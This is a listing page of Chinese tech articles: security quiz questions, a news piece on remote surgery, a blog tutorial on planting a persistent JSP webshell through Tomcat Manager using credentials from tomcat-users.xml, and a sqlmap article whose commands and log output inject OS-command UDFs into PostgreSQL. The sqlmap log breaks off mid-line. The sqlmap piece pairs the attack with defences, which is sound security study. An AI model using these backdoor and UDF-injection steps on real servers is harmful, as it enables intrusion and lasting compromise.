10.下列哪一项是最基本的安全活动? A. 安装防火墙 B. 认证用户 C. 控制对资源的访问 D. 使用病毒扫描器 11.阻塞攻击的目的是什么? A. 在目标机器上安装病毒 B. 关闭安全措施 C. 阻止合法用户访问系统 D. 攻入目标系统 12.安全的三种模式是什么? A. 边界、分层及混合 B. 高安全、中等安全和低安全 C. 内部、外部和混合 D. 边界、完全、无 13.入侵检测系统是如下哪项内容的例子? A. 主动安全 B. 边界安全 C. 混合安全 D. 良好的安全实践 14.下列哪一项最有可能被归类为系统滥用? A. 利用Web查找竞争对手的信息 B. 偶尔接收个人电子邮件 C. 用你的工作计算机做自己的(非公司的)业务 D. 午餐期间在网上购物 15.最理想的安全模式是: A. 边界和动态 B. 分层和动态 C. 边界和静态 D. 分层和静态 16.当评估一个系统的威胁时,你应该考虑哪三个因素? A. 系统的吸引力、系统中包含的信息以及系统的流量 B. 安全团队的技术水平、系统的吸引力和系统的流量 C. 系统的流量、安全预算和安全团队的技术水平 D. 系统的吸引力、系统中包含的信息和安全预算 17.下列哪一项是不可否认性的最佳定义? A. 不允许潜在入侵者否认他的攻击的安全属性 B. 验证哪个用户执行什么动作的过程 C. 是用户认证的另一个术语 D. 访问控制 18.以下哪些类型的隐私法律影响计算机安全? A. 美国任何州的隐私法律 B. 美国任何适用于你所在机构的隐私法律 C. 美国任何隐私法律 D. 美国任何联邦隐私法律 19.第一个计算机应急响应小组隶属于哪所大学? A. 普林斯顿大学 B. 卡内基梅隆大学 C. 哈佛大学 D. 耶鲁大学 20.下列哪一项是“敏感信息”的最佳定义? A.军事或国防相关的信息 B.任何价值超过1000美元的信息 C.任何如果被未授权的人员访问就可能损害你所在机构的信息 D.任何具有货币价值并受隐私法律保护的信息 21.下列哪一项很好地定义了道德黑客与审计者之间的主要区别? A.没有区别 B.道德黑客往往缺乏技能 C.审计者往往缺乏技能 D.道德黑客倾向于使用更多非常规的方法 1.15.2 练习题 练习1.1 本月发生了多少次病毒攻击?1.使用各种网站,确定本月报告的病毒攻击数量。你可能会发现,诸如www.f-secure.com这样的网站对找到这类信息很有帮助。 2.将这一数字与过去三个月、九个月和十二个月的病毒爆发数量进行比较。 3.病毒攻击频率是增加了还是减少了?举例来支持你的答案,并说明过去一年病毒攻击估计的变化数量。 练习1.2 特洛伊木马攻击1.使用Internet、期刊、书籍或其他资源,找到在过去九个月内发生的一次特洛伊木马攻击事件。 2.这个特洛伊木马是怎么传播的?它造成了什么损害? 3.描述这个木马攻击,包括: 任何具体的目标 攻击肇事者是否已被逮捕和/或被起诉 关于该攻击,发布了什么类型的安全警告,给出了什么防御措施 练习1.3 计算机犯罪的近期趋势1.使用你喜欢的搜索引擎,找到关于计算机犯罪的最新调查。 2.注意哪些领域的计算机犯罪有所增加和减少。 3.描述本次调查与2002年公布的调查之间的变化。 4.这两项调查告诉你计算机犯罪的趋势是什么? 5.哪个领域的计算机犯罪增长最快? 练习1.4 黑客攻击术语使用New Hacker抯 Dictionary(新黑客字典),网址为:http://www.outpost9.com/reference/jargon/jargon_toc.html ,定义以下术语。然后检查Internet(网页、聊天室或电子公告牌),为每个术语找到一个用例。 daemon(守护程序) dead code(死码) dumpster diving(垃圾搜寻) leapfrog attack(跳步攻击) kluge(杂凑攻击) nuke(核弹) 练习1.5 安全专业术语使用本章中讨论的三个词汇表之一,定义下列术语: access control list(访问控制列表) adware(广告软件) authentication(认证) backdoor(后门) buffer(缓冲区) HotFix(热补丁) 1.15.3 项目题 项目1.1 了解病毒1.使用你最喜欢的搜索引擎进行搜索,找到一种在过去六个月里发布的病毒。你可以在www.f-secure.com 这类网站上找到这些信息。2.描述你选择的病毒是如何工作的,包括它使用的传播方法。3.描述该病毒造成的损害。4.该病毒有特定的目标吗?5.病毒攻击的肇事者被抓获和/或被起诉了吗?6.关于该病毒攻击发布了什么类型的安全警告?7.给出了哪些措施来防御它?8.对该病毒最恰当的描述是病毒还是蠕虫?项目1.2 安全专业利用包括Web在内的各种资源,找出计算机安全管理员工作所需的资质。你需要找出所需的具体技术、工作经验、教育水平以及任何认证。本项目可以帮你了解,业界认为的安全专业人员要理解的最重要的主题是什么。可以提供帮助的网站包括:www.computerjobs.comwww.dice.comwww.monster.com项目1.3 查找网络资源本章提供了几个很好的安全信息Web资源。现在,你应该使用Internet来确定三个你认为对安全专业人员有益、能提供可靠和有效信息的网站。解释为什么你认为它们是有效的信息来源。注意:你可能会在后续章节的练习和项目中使用这些资源,所以一定要确保你可以依赖它们所提供的数据。
文章
安全 · 网络安全 · 网络协议 · 网络架构 · Linux
2019-11-06
20年后,机器人有望“上手术台”啦
“我们在一个月内见证了十年的变化”。因为新冠疫情期间加速使用远程医疗,我们常常可以听到这句话。据统计,在新冠病毒出现以前,英国国家卫生局每年处理约3.5亿次诊症,其中视频诊症仅占1%。而目前,Docly、eConsult和AccuRx等公司正在改变这种状况。AccuRx称,英格兰90%的初级保健诊所现在用的是AccuRx的视频通话系统。 远程医疗最受业界关注的形式是远程手术。虽然远程手术不是什么新鲜事物,但它正在迎来快速增长阶段,甚至可以带来巨大的利益。从作用上来看,远程手术可以帮助克服世界上许多地方的医生短缺问题,还可以改善培训、提高行业水准及推动医疗行业的创新。 Proximie:远程手术推动者之一 比如,Proximie公司就是远程手术的领先推动者之一。Proximie是一家四年前成立的伦敦公司。外科医生利用Proximie提供的网站平台可以通过音频、视频和增强现实进行远程协作。其创始人是整形外科医生Nadine Hachach-Haram。在TEDWomen 2017上的一次演讲中,她演示了基于Proximie平台的真实操作。 ▲Proximie创始人兼首席执行官Nadine Hachach-Haram (图:Ryan Lash) Hachach-Haram小时候沉迷于玩电子游戏,她的父亲是一位计算机工程师,Proximie公司的创立起初只是业余爱好,或多或少有点偶然。 2015年,加利福尼亚的一名外科医生测试了Proximie平台的早期版本,他在全球微笑基金会(Global Smile Foundation)开展的一项计划里用Proximie平台为秘鲁的同事提供培训,该计划主要是为儿童提供腭裂修复手术。2016年,Proximie平台首次在实时手术中使用,当时是为在加沙炸弹爆炸受害者做手术。2019年,英国国防部与Proximie签了个多年期的合同,英国前线战地医院和处于世界各地的皇家海军舰船可以使用Proximie系统的增强现实。 而如今,Hachach-Haram已经成为医学领域的佼佼者,同时,她也是英国皇家外科医学院(RCS)发表的2019年《外科手术的未来》报告的作者之一。 人工智能技术加快远程手术升级 事实上,外科手术中的虚拟协作并不新鲜。例如,2000年首次获批准使用的达芬奇系统(Da Vinci System),该系统可以支持精确的微创手术(称为腹腔镜或锁孔手术),并且手术可以由离病人数千英里的外科医生进行。当然,当时也有人对这个系统颇有微词:每台机器开价200万美元,但只有相对很少的外科医生受过使用该系统的培训,患者的治疗效果也没有很大变化。 相对来说,Proximie是个高度优化的实时视频平台。Proximie要求非常低的延迟,这里的延迟指图像捕获与图像显示之间的延迟。现在的延迟已降到200毫秒,这个速度大约是人类视觉皮层记录运动的时间范围极限。由于人工智能具有先进的增强现实功能和尖端的计算机视觉功能。这些技术的引入可以帮助外科医生汇集与手术相关的数据和图像,看到当下发生的情况,而且清晰度极高。 其中,带宽显然是一个挑战,在发达国家和发展中国家都一样。为此,Proximie与电信行业的合作伙伴紧密合作,使用了先进的视频压缩技术。 医学文化是主要障碍 虽然从目前来看,Proximie平台的技术很先进,但技术先进并不是Proximie的独家秘方。Proximie公司的运营依赖于临床医生和配备人员,这一点在医疗领域至关重要。除了医疗领域的监管之外,保守主义思想和临床自我也是远程医疗展开的主要障碍。 我们知道,外科医生做事的方式延续了数百年,如果想改变他们,做他们中的一员才会有所帮助的。我们发现,如今已经有越来越多的大公司开始与Proximie接触,以获得Proximie的帮助进军医疗设施领域,这些大公司尽管拥有大量资源,但许多公司自己去干这方面的事情时还是会跌跟头。IBM Watson就是个明显的例子。 全球化拓展:挑战与机遇并存 知道了找谁接洽以及正确的交流方式,进展可以很快。NHS(英国全国保健服务的英文缩写)医院现在有三分之一的机构使用Proximie,目标是在2020年底达到40%的渗透率。外科创新的规管和测试不像新药的规管和测试那么严苛,Proximie可以在短短一个月内搞定在一家新医院的审批使用手续。 据了解,Proximie公司目前每个月在35个国家/地区完成的流程达700次。这些服务主要集中在欧洲、美国和中东较富裕国家,但Hachach-Haram正在全球范围内大力推动提供Proximie服务,为此,她还在最近聘请了一名全球发展总监。从目前来看,Proximie服务的普及已经令外科医生的旅行减少了大约一百万英里。 不过,Proximie面临的最大问题或许是如何快速安全地进行扩展。业界对Proximie服务的需求巨大:大多数新合同都是以一个电话开始。此外,由于Proximie的商业模式是软件即服务(SaaS),热衷于投资的资金提供者很多。 未来与愿景 Proximie可以为外科医生训练创造奇迹,我们很容易看到这一点。为了学习做外科手术,过去的口头禅是,外科医生要“看、做、教”。但Hachach-Haram对此提出了不同的看法,她认为人类只需一个迭代就可以做一件事,她更喜欢用曾经碰到的体育教练用的方法:“准备、完成、完美”。 英国皇家外科医学院关于未来外科手术的报告将明天的外科医生描绘成近乎超人。他们除了要掌握自己的手艺外还必须同时是学者、管理人员、教育工作者,尤其需要是创新者和企业家。但许多人仍然不知道今天使用的人工智能工具是否有一天会聪明到可以在手术室中取代自己。英国皇家外科医学院报告预测,机器在20年后确实可以自己完成一些简单的手术,例如缝合手术。 假设摩尔定律这东西仍然有效,那么20年后机器的功能将是今天机器的8000倍,所以机器自行做缝合手术听起来并不是遥不可及。但30年后机器的功能将提高一百万倍。不难想象,无论在质量、成本或速度方面,人类都将无法与之匹敌。 设想一下,每个医院的每项手术都是通过视频捕获及机器分析完成。外科医生得到的实时指导基于现代经验的总和,这些现代经验来自人与机器的结合。机器不断地审查这些数据,目的是考查和改进诊断、医学理论和最佳实践。显然,这会导致涉及隐私和数据安全的棘手问题。但人工智能和相关技术美好未来的一个方面就是要令世界变得可理解,世界变得可理解后就会变得比今天更美好。 原文链接:https://ai.51cto.com/art/202010/628562.htm本文转载自51CTO,本文一切观点和机器智能技术圈子无关。在线免费体验百种AI能力:【点此跳转】
文章
人工智能 · 编解码 · 安全 · 机器人 · vr&ar · 数据安全/隐私保护 · 计算机视觉
2020-10-14
利用Tomcat的用户名和密码构建“永久”后门
利用Tomcat的用户名和密码构建“永久”后门 Simeon 从本案例中可以学到: (1)关于JSP的一些基础知识 (2)利用Tomcat的用户名和密码来构建后门 本文首先要感谢《黑客手册》“非安全.后生”编辑为本为提供了帮助,还要感谢网友“伤心的鱼”,本文借鉴了“看小菜如何搞定tomcat”一文中的思路,该文中提供的war生成比较模糊,且操作复杂,本文提供的方法简单易行。 JSP是Java Server Pages的缩写,是由Sun Microsystems公司倡导、许多公司参与一起建立的一种动态网页技术标准。 JSP技术是用JAVA语言作为脚本语言的,JSP网页为整个服务器端的JAVA库单元提供了一个接口来服务于HTTP的应用程序。在传统的网页HTML文件(*.htm,*.html)中加入Java程序片段和JSP标记,就构成了JSP网页(*.jsp)。Web服务器在遇到访问JSP网页的请求时,首先执行其中的程序片段,然后将执行结果以HTML格式返回给客户。程序片段可以操作数据库、重新定向网页以及发送 email 等等,这就是建立动态网站所需要的功能。所有程序操作都在服务器端执行,网络上传送给客户端的仅是得到的结果,对客户浏览器的要求最低,可以实现无Plug-in,无ActiveX,无Java Applet,甚至无Frame。 Tomcat是一个免费的开源的Serlvet容器,它是Apache基金会的Jakarta项目中的一个核心项目,由Apache、Sun和其它一些公司及个人共同开发而成。由于有了Sun的参与和支持,最新的Servlet和Jsp规范总能在Tomcat中得到体现。与传统的桌面应用程序不同,Tomcat中的应用程序是一个WAR(Web Archive)文件。WAR是Sun提出的一种Web应用程序格式,与JAR类似,也是许多文件的一个压缩包。这个包中的文件按一定目录结构来组织:通常其根目录下包含有Html和Jsp文件或者包含这两种文件的目录,另外还会有一个WEB-INF目录,这个目录很重要。通常在WEB-INF目录下有一个web.xml文件和一个classes目录,web.xml是这个应用的配置文件,而classes目录下则包含编译好的Servlet类和Jsp或Servlet所依赖的其它类(如JavaBean)。通常这些所依赖的类也可以打包成JAR放到WEB-INF下的lib目录下,当然也可以放到系统的CLASSPATH中,但那样移植和管理起来不方便。 在Tomcat中,应用程序的部署很简单,只需将你的WAR放到Tomcat的webapp目录下,Tomcat会自动检测到这个文件,并将其解压。在浏览器中访问这个应用的Jsp时,通常第一次会很慢,因为Tomcat要将Jsp转化为Servlet文件,然后编译。编译以后,访问将会很快。另外Tomcat也提供了一个应用:manager,访问这个应用需要用户名和密码,用户名和密码存储在一个xml文件中。通过这个应用,辅助于Ftp,可以在远程通过Web部署和撤销应用,当然本地也可以,本案例就是利用这个特性来构建后门程序的。 Tomcat不仅仅是一个Servlet容器,它也具有传统的Web服务器的功能:处理Html页面。但是与Apache相比,它的处理静态Html的能力就不如Apache。可以将Tomcat和Apache集成到一块,让Apache处理静态Html,而Tomcat处理Jsp和Servlet.这种集成只需要修改一下Apache和Tomcat的配置文件即可。 (一)检查Tomcat设置。服务器安装了Apache Tomcat后会默认开放8080端口供外部连接,一般在浏览器中输入“IP:8080”或者域名来访问Apache Tomcat页面,如图1所示。 图1 连接到Tomcat的页面 (二)查看Tomcat用户配置文件。Tomcat安装完成后有一个配置文件“tomcat-users.xml”,它位于Tomcat程序安装目录下的conf目录下,直接打开该文件可以看到其中关于用户名和密码的明文值,如图2所示,找到并记住包含“admin,manager”那一行的用户名和密码。 图2 获取用户配置的用户名和密码 说明: (1)有很多对tomcat不是很了解的管理员在安装完Tomcat后并没有修改默认密码,用户名是admin,密码为空,如果是这种情况可以直接登录。 (2)如果用户修改了该密码,那么其密码一定保存在“tomcat-users.xml”中,因此可以通过Webshell来获取这个文件的内容。 (三)进入Tomcat管理。Tomcat提供了在线管理,本案例也正式利用在线管理来构建后门的。在图1中单击左上角下面的“Tomcat Manager”链接后,会弹出一个要求输入用户名和密码的窗口,该窗口跟Windows登录窗口有点类似,如图3所示。 图3 登录Tomcat管理应用 (四)查看部署情况。在图3中输入从“tomcat-users.xml”文件中获取的具有管理员权限的用户名和密码,验证通过后进入部署管理页面,如图4所示。 图4 部署管理页面 说明: (1)在部署管理页面中可以“Start”(启动)、“Stop”(停止)、“Reload”(重载)、“Undeploy”(删除部署)已经部署的项目,单击“Undeploy”会对文件进行物理删除。 (2)部署的文件夹是以*.war文件的名称,例如上传的文件是job.war,则在Tomcat目录中会对应生成一个“job”文件夹 。 (五)部署JSP WebShell后门程序。在部署管理页面的下方有一个“WAR file to deploy”,单击浏览选择一个已经设置好的后门war文件,在本例中的后门程序为job.war,单击“deploy”将该文件部署到服务器上,如图5所示。 图5 上传后门war文件到服务器 说明 (1)部署是其文件必须是war文件。 (2)将winzip软件安装在系统中,然后将单一或者多个jsp后门文件压缩成一个压缩文件,压缩成功后,将“*.zip”文件更名为“*.war”即可。 (3)上传文件后,tomcat会自动进行部署并运行。 (六)测试后门程序。在地址栏中输入“部署文件名称/jsp文件”,例如在本例中其正确的访问是“[url]http://127.0.0.1:8080/job/job.jsp[/url]”,如果设置正确会显示如图6所示的Webshell登录窗口。 图6 登录webshell (七)在Webshell中执行命令。在Webshell中输入密码后,进入到Webshell管理界面,默认显示服务器的一些信息,在功能菜单中选择“执行命令”,并在执行命令输入框中输入“netstat -an”命令可以查看网络连接等,如图7所示。 图7 执行命令 说明 (1)通过这种方式部署的Jsp后门程序具有较大权限,可以执行添加用户等危险命令。 (2)jsp后门中可以通过“文件系统”模块来对文件进行操作;通过“数据库”模块来连接数据库等操作; (3)本案例构建后门也正是这里,平时可以在系统中保留一个小的后门程序,如果后门程序被杀毒软件查杀或者被管理员发现并删除掉了,则可以通过以上步骤重新进行部署,从而循环永久保留后门。 小结    本案例介绍的情况适合于管理员(admin)密码为空的情况,同时也适合于获取了tomcat中的tomcat-users.xml文件中的用户名和密码的情况。一般来讲内网相对防护要弱一些,因此该案例对于内网渗透时有一定的帮助。由于本人对jsp不是特别熟悉,尤其是部署设置,不知道在jsp中是否也可以进行诸如IIS中的严格权限限制,能否禁止jspwebshell的执行,本案例是对服务器攻防的一种探讨,功能强大的应用程序往往一个弱小的漏洞就可以攻破整个系统。 后记     通过google对tomcat的一些关键字进行了搜索,没有遇到管理员为空的,我使用inurl:8080 关键字进行搜索的,不知道还有什么好的方法来进行搜索。  本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/58877
文章
Java · 应用服务中间件 · Apache · 数据安全/隐私保护 · 数据库 · 安全 · 容器 · Windows · 数据格式 · XML
2017-11-12
数据库common安全渗透测试与防范 - sqlmap
标签 sqlmap , sql注入 , 自动渗透 , boolean-based blind , time-based blind , error-based , UNION query-based , stacked queries , out-of-band 背景 sqlmap特性介绍 1. 支持主流数据库 MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix database management systems. 2. 支持6种SQL注入手段 boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band. 3. 支持直连数据库的方式,攻击一些暴露在公网的数据库,如创建UDF函数(支持某些数据库),实施越权操作等(前提是能登陆数据库,然后利用数据库的漏洞或功能) 攻击手段,透过UDF以及数据库的功能,实施越权操作(比如利用数据库的DBLINK,访问数据库内网的其他主机),(比如通过数据库超级用户,创建UDF,执行操作系统的命令)。 4. 支持通过注入的方式,枚举或提取数据库用户、密码HASH(可以用于破译明文密码),表、列等 攻击手段,通常实施的方式是查询系统表,前提是提取到数据库的指纹(如品牌,版本),然后根据对应数据库版本提取对应的系统表. enumerate users, password hashes, privileges, roles, databases, tables and columns. Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack. 5. 支持通过注入的方式,导出数据,用户可以控制导出的列、根据条件过滤数据等。 攻击手段,数据查询、导入导出 Support to dump database tables entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry. 6. 支持通过注入的方式,在所有数据库中搜索指定表名,或者在所有数据库的表中搜索指定列名。 攻击手段,比如从URL里,可以猜测出列名,但是不知道表名,通过查询系统表可以得到包含该列名的表名。 Support to search for specific database names, specific tables across all databases or specific columns across all databases' tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass. 7. 支持通过SQL注入的方式,或者直连数据库的方式,从数据库所在的操作系统下载文件,或者上传文件到数据库所在的操作系统。 攻击手段,通过数据库的文件访问接口,以及数据库的大对象接口。 Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server. 8. 支持通过SQL注入,或者直连数据库的方式,在数据库所在的操作系统中,执行操作系统的命令 攻击手段,通过数据库的UDF接口,调用操作系统syscall接口执行操作系统命令。 Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server. 9. 支持通过SQL注入的方式,让攻击机与数据库所在的操作系统建立TPC会话 攻击手段,通过端口代理的服务,类似这样的方法 《使用 ssh -R 建立反向/远程TCP端口转发代理》 Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. 10. 支持通过SQL注入的方式,入侵数据库所在操作系统,并从普通OS用户提升为超级用户 攻击手段,UDF Support for database process' user privilege escalation via Metasploit's Meterpreter getsystem command. 从sqlmap分析, 如何封堵数据库安全漏洞 sqlmap是一个比较常规的自动化渗透测试工具,主要针对HTTP协议、或者直连数据库的方式进行攻击或漏洞探测。 可以利用的漏洞都是常规的,并没有针对数据库指纹(指数据库的版本)实施特殊的攻击。 比如PostgreSQL数据库的安全页面,列出了所有版本的已知漏洞,在哪个版本存在,在哪个版本修复。 https://www.postgresql.org/support/security/ 而这些漏洞,sqlmap并没有整合。除非你自己去扩展sqlmap。 也就是说,通过了sqlmap的渗透测试,并不代表安全。 sqlmap包含了哪些常规渗透测试?如何封堵常规的安全漏洞? 1. sql注入 防范手段,应用程序使用绑定变量,或者使用过滤规则。 SQL注入成功是后面的攻击基础。 2. 数据库用户密码hash 指SQL注入成功后。 防范手段1,业务使用普通用户连接数据库,那么它拿不到其他用户的密码hash。 防范手段2,隐藏或加密用户密码hash,任何情况下,你都只能看到加密后的hash。(需修改数据库内核来实现) 3. 上传下载数据库主机文件 指SQL注入成功后。 防范手段1,业务使用普通用户连接数据库,那么它无法读取或者写入文件。 防范手段2,禁止一切文件读写操作权限的函数。 4. 调用数据库主机操作系统命令 指SQL注入成功后。 防范手段,业务使用普通用户连接数据库,那么它无法读取或者写入文件。也就无法创建UDF。 5. 把数据库主机变成肉鸡,或者跳板机 指SQL注入成功后。 防范手段,业务使用普通用户连接数据库,那么它无法读取或者写入文件。也就无法创建UDF。 6. 访问数据库主机才能访问的私有网络 指SQL注入成功后。 防范手段1,业务使用普通用户连接数据库,那么它无法读取或者写入文件。也就无法创建UDF。 防范手段2,对有网络访问权限的插件,实行IP地址过滤,只能访问白名单内的IP,比如数据库的DBLINK插件,需要有白名单过滤机制。(需要修改数据库内核来实现) 防范手段3,隔离数据库主机与其他主机的网络访问。 PostgreSQL安全加固文档 前面已经提到了sqlmap的数据库安全检测并不完善,仅仅针对一些常规的攻击方法。 毕竟他们的团队不是专业搞数据库的,所以如果需要更加完善的数据库安全加固方法,可以参考如下文档。 《PostgreSQL 密码 安全指南》 《PostgreSQL 数据库 安全指南》 《PostgreSQL cancel 安全漏洞》 《DBA专供 冈本003系列 - 数据库安全第一,过个好年》 《PostgreSQL psql 安全设置数据库用户密码的方法之一》 《PostgreSQL views privilege attack and security with security_barrier(视图攻击)》 《PostgreSQL leakproof function in rule rewrite("attack" security_barrier views)》 《PostgreSQL 安全陷阱 - 利用触发器或规则,结合security invoker函数制造反噬陷阱》 《开放dblink , fdw带来的安全隐患》 《PostgreSQL 安全警钟长鸣》 《PostgreSQL 9.4 patch : Row-Level Security》 《EnterpriseDB (PPAS) Oracle兼容性Virtual Private Database(VPD) 数据隔离以及当前缺陷》 sqlmap 检测网站漏洞 略 云数据库的安全挑战 sqlmap支持直连数据库的方式,所以我们可以使用它来测试数据库是否存在常规漏洞。 比如获得操作系统权限,访问数据库主机的私网主机等。(对于云厂商来说,这个是比较致命的问题。) 通常云数据库如果提供给用户的是普通账号,如果是超级账号,那么要做到对云自身的保护,数据库内核的改动量会非常庞大。 云数据库可能运行在物理机也可能运行在虚拟机。 云数据库所在环境可能还有其他的主机,对用户是隔离的,但是云数据库主机也许能访问它们。 sqlmap 探测云数据库常规安全性 注意,sqlmap只包含了一些常规的安全测试手段,所以通过了SQLMAP的安全测试,并不代表这个云数据库是安全的。 例子 申请一个云数据库厂商的RDS,根据对应的RDS 数据库版本,编译UDF二进制。 https://github.com/sqlmapproject/udfhack 比如PostgreSQL 9.4 下载udf.c文件 https://github.com/sqlmapproject/udfhack/blob/master/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c 使用9.4的PostgreSQL版本编译 gcc -Wall -I/usr/include/postgresql/9.4/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so strip -sx lib_postgresqludf_sys.so 使用sqlmap的直连数据库方式进行测试,一会要用到这个lib_postgresqludf_sys.so文件,使用PostgreSQL大对象导出的方式将它导出到数据库主机的/tmp目录下。 sqlmap使用方法详见 https://github.com/sqlmapproject/sqlmap/wiki/Usage 安装连接数据库的python驱动 pip install python-psycopg2 cd sqlmap python ./sqlmap.py -hh Direct connection to the database Option: -d Run sqlmap against a single database instance. This option accepts a connection string in one of following forms: DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.) DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.) 检测连接是否有效 python ./sqlmap.py -d "postgresql://test:1@127.0.0.1:1921/postgres" 枚举测试 获取数据库指纹,获取用户密码HASH,获取有哪些数据库,获取表清单,获取数据等等 Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements -a, --all Retrieve everything -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --hostname Retrieve DBMS server hostname --is-dba Detect if the DBMS current user is DBA --users Enumerate DBMS users --passwords Enumerate DBMS users password hashes --privileges Enumerate DBMS users privileges --roles Enumerate DBMS users roles --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --count Retrieve number of entries for table(s) --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries --search Search column(s), table(s) and/or database name(s) --comments Retrieve DBMS comments -D DB DBMS database to enumerate -T TBL DBMS database table(s) to enumerate -C COL DBMS database table column(s) to enumerate -X EXCLUDECOL DBMS database table column(s) to not enumerate -U USER DBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables --pivot-column=P.. Pivot column name --where=DUMPWHERE Use WHERE condition while table dumping --start=LIMITSTART First query output entry to retrieve --stop=LIMITSTOP Last query output entry to retrieve --first=FIRSTCHAR First query output word character to retrieve --last=LASTCHAR Last query output word character to retrieve --sql-query=QUERY SQL statement to be executed --sql-shell Prompt for an interactive SQL shell --sql-file=SQLFILE Execute SQL statements from given file(s) 获取数据库指纹(banner)例子 python ./sqlmap.py -d "postgresql://test:1@127.0.0.1:1921/postgres" -b 输出 [16:18:42] [INFO] resumed: [[u'PostgreSQL 9.6.1 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 6.2.0, 64-bit']]... back-end DBMS operating system: Linux back-end DBMS: PostgreSQL banner: 'PostgreSQL 9.6.1 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 6.2.0, 64-bit' 用户自定义函数 基于用户自定义函数,可以直接攻入操作系统,调用操作系统命令,等等。 目前具备危害的UDF包括C语言的UDF,或者其他例如PostgreSQL plpythonu之类的untrust语言的UDF。 User-defined function injection: These options can be used to create custom user-defined functions --udf-inject Inject custom user-defined functions --shared-lib=SHLIB Local path of the shared library 前面编译的SO派上用场了,使用大对象导入,为了观测整个过程,可以设置数据库的log_statement='all'; python ./sqlmap.py -d "postgresql://test:1@127.0.0.1:1921/postgres" --udf-inject --shared-lib=../udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.so [16:20:48] [INFO] connection to postgresql server 127.0.0.1:1921 established [16:20:48] [INFO] the back-end DBMS is PostgreSQL back-end DBMS: PostgreSQL [16:20:48] [INFO] fingerprinting the back-end DBMS operating system [16:20:48] [WARNING] (remote) (ProgrammingError) table "sqlmapfile" does not exist [16:20:48] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' [16:20:48] [INFO] the back-end DBMS operating system is Linux [16:20:49] [WARNING] (remote) (ProgrammingError) table "sqlmapfilehex" does not exist [16:20:49] [INFO] testing if current user is DBA [16:20:49] [INFO] resumed: [[u'1']]... how many user-defined functions do you want to create from the shared library? 4 // 输入,创建多少个UDF,对应如下 // https://github.com/sqlmapproject/udfhack/blob/master/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql what is the name of the UDF number 1? sys_exec // 输入 how many input parameters takes UDF 'sys_exec'? (default: 1) // 输入 what is the data-type of input parameter number 1? (default: text) // 输入 what is the data-type of the return value? (default: text) int4 // 输入 what is the name of the UDF number 2? sys_eval // 输入 how many input parameters takes UDF 'sys_eval'? (default: 1) // 输入 what is the data-type of input parameter number 1? (default: text) // 输入 what is the data-type of the return value? (default: text) // 输入 what is the name of the UDF number 3? sys_bineval // 输入 how many input parameters takes UDF 'sys_bineval'? (default: 1) // 输入 what is the data-type of input parameter number 1? (default: text) // 输入 what is the data-type of the return value? (default: text) int4 // 输入 what is the name of the UDF number 4? sys_fileread // 输入 how many input parameters takes UDF 'sys_fileread'? (default: 1) // 输入 what is the data-type of input parameter number 1? (default: text) // 输入 what is the data-type of the return value? (default: text) // 输入 [16:22:40] [INFO] checking if UDF 'sys_fileread' already exist [16:22:40] [INFO] checking if UDF 'sys_bineval' already exist [16:22:40] [INFO] checking if UDF 'sys_eval' already exist [16:22:40] [INFO] checking if UDF 'sys_exec' already exist [16:22:40] [WARNING] (remote) (ProgrammingError) table "sqlmapfile" does not exist [16:22:40] [WARNING] (remote) (ProgrammingError) large object 7989 does not exist [16:22:40] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject // 普通用户没有直接INSERT pg_largeobject的权限 [16:22:40] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject [16:22:40] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject [16:22:41] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject [16:22:41] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject [16:22:41] [WARNING] (remote) (ProgrammingError) must be superuser to use server-side lo_export() // 超级用户才能调用 lo_export() 函数 ,导出到数据库主机 HINT: Anyone can use the client-side lo_export() provided by libpq. // 客户端lo_export()只能将大对象导出到客户端,不能导出到数据库主机 [16:22:41] [WARNING] (remote) (ProgrammingError) permission denied for relation pg_largeobject [16:22:41] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path) [16:22:41] [WARNING] (remote) (ProgrammingError) large object 7989 does not exist [16:22:41] [WARNING] (remote) (ProgrammingError) table "sqlmapfilehex" does not exist [16:22:41] [ERROR] there has been a problem uploading the shared library, it looks like the binary file has not been written on the database underlying file system do you want to proceed anyway? Beware that the operating system takeover will fail [y/N] y // 是否开始创建UDF [16:22:45] [INFO] creating UDF 'sys_fileread' from the binary UDF file [16:22:45] [WARNING] (remote) (ProgrammingError) function sys_fileread(text) does not exist // 由于.so导出到数据库主机失败,所以创建UDF必然是失败的 [16:22:45] [WARNING] (remote) (ProgrammingError) permission denied for language c [16:22:45] [INFO] creating UDF 'sys_bineval' from the binary UDF file [16:22:45] [WARNING] (remote) (ProgrammingError) function sys_bineval(text) does not exist [16:22:45] 